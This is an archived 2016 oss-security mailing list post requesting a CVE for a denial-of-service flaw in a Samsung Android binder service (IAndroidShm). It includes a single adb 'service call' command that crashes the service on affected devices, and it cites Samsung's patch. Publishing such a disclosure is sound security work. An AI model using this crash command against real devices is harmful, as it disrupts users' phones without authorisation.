oss-security - CVE request - samsumg android phone com.samsung.android.jam.IAndroidShm binder service DoS

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <6aa8b189.1329d.1548107c1d2.Coremail.pengdawei521@163.com>
Date: Thu, 5 May 2016 21:07:29 +0800 (CST)
From: Vinc3nt4H <pengdawei521@....com>
To: oss-security@...ts.openwall.com
Subject: CVE request - samsumg android phone
 com.samsung.android.jam.IAndroidShm binder service DoS

Hi,
Description of the potential vulnerability:
When a app send a evil data to com.samsung.android.jam.IAndroidShm  service by service command (Android system command) , can cause to IAndroidShm service crash.


Steps to reproduce the issue:
1 A PC connect S6 device;
2 Input command: adb shell;
3 Android Input command:
service call com.samsung.android.jam.IAndroidShm 5 i32 917154658 i32 998369275 i32 1652062893 i32 2113420870 i32 1380178743 i32 47342718 i32 543810222 i32 1481030271


Affected versions: KK(4.4), L(5.0/5.1) 


Fix:
http://security.samsungmobile.com/smrupdate.html#SMR-JAN-2016
SVE-2015-5133: IAndroidShm IAPAService service DoS


We report this to samsung, samsung reply to us if we want to get CVE request it by ourself.


Best regards,
Vinc3nt4H of Alibaba Mobile Security Team

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.